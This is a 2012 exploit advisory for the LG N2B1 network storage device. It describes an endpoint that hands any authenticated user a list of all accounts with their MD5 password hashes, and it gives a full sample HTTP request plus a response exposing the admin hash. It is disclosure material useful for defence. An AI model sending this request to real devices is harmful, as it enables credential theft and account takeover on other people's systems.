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LG NAS Used / Password Hash Disclosure

LG NAS Used / Password Hash Disclosure
Posted Sep 30, 2012

LG NAS N2B1 Network Storage suffers from a remote username and password hash disclosure vulnerability. Firmware versions 2660 and below are affected.

tags | exploit, remote, info disclosure
MD5 | 73eb8e7645fd37d9017d1413b1932512

LG NAS Used / Password Hash Disclosure

Change Mirror Download
# Exploit Title: LG NAS Users and password hash disclosure
# Date: 2012-09-29
# Vendor Homepage: http://www.lg.com/
# Version: <= firmware_2660
# Tested on: N2B1 Network Storage
# Vendor notification: Not notified due to the stupid nature of the vuln..

This vulnerability has been discovered on LG N2B1 Network Storage (NAS), but
probably other products that use the same firmware may be affected.

Any authenticated user, administrator or not, are able to retrive a list
of current authorized users along with MD5 password hashes.

The page "/en/php/share_get_user_info.php" is prone to disclose authorized
users along with their MD5 hashed passwords to any authenticated user.

Sample HTTP request:
###########################################################
POST /en/php/share_get_user_info.php?t=<any random number> HTTP/1.1
Host: 192.168.0.1:8000
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 14
Cookie: lgnas_language=en; show_filter=true; lgnas_web_menu=1; PHPSESSID=<your session>
Pragma: no-cache
Cache-Control: no-cache

&mode=FullList
###########################################################

Sample HTTP response:
###########################################################
HTTP/1.1 200 OK
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-type: text/html; charset=utf-8
Date: Sat, 29 Sep 2012 06:51:02 GMT
Server: lighttpd/1.4.20
Content-Length: 83

admin;21232f297a57a5a743894a0e4a801fc3;System Admin;;Default System Administrator:

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